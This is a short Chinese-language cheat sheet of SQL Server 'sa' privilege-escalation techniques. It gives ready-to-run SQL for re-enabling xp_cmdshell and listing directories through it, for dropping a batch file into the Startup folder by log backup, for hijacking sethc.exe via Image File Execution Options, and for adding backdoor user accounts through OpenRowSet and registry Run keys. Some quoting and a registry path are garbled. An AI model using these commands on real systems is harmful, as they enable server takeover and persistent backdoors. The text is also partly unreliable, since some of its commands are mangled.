# SA提权:
## 1.判断扩展存储是否存在:
“`sql
select count(*) from master.dbo.sysobjects where xtype = ‘x’ AND name= ‘xp_cmdshell’
select count(*) from master.dbo.sysobjects where name=’xp_regread’
“`
恢复:
“`sql
exec sp_dropextendedproc ‘xp_cmdshell’
exec sp_dropextendedproc xp_cmdshell,’xplog70.dll’
EXEC sp_configure ‘show advanced options’,1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’,1;RECONFIGURE;(SQL2005)
“`
## 2.列目录:
“`sql
exec master..xp_cmdshell ‘ver’
(or) exec master..xp_dirtree ‘c:\’,1,1
(or) drop table black
create TABLE black(mulu varchar(7996) NULL,ID int NOT NULL IDENTITY(1,1))–
insert into black exec master..xp_cmdshell ‘dir c:\’
select top 1 mulu from black where id=1
xp_cmdshell被删除时,可以用(4.a)开启沙盒模式,然后(4.b)方法提权
“`
### 3.备份启动项:
“`sql
alter database [master] set RECOVERY FULL
create table cmd (a image)
backup log [master] to disk = ‘c:\cmd1’ with init
insert into cmd (a) values (0x(batcode))
backup log [master] to disk = ‘C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\start.bat’
drop table cmd
“`
### 4.映像劫持
“`sql
xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe’,’debugger’,’reg_sz’,’c:\windows\system32\cmd.exe’
“`
### 5.沙盒模式提权:
方法a
方法b:
“`sql
Select * From OpenRowSet(‘Microsoft.Jet.OLEDB.4.0′,’;Database=c:\windows\system32\ias\ias.mdb’,’select shell(“net user mstlab mstlab /add”)’); #or c:\windows\system32\ias\dnary.mdb string类型用此。
开启OpenRowSet:exec sp_configure ‘show advanced options’, 1;RECONFIGURE;exec sp_configure ‘Ad Hoc Distributed Queries’,1;RECONFIGURE;
“`
### 6.xp_regwrite操作注册表
“`sql
exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\currentversion un’,’black’,’REG_SZ’,’net user test test /add’
开启xp_oacreate:exec sp_configure ‘show advanced options’, 1;RECONFIGURE;exec sp_configure ‘Ole Automation Procedures’,1;RECONFIGURE;
“`
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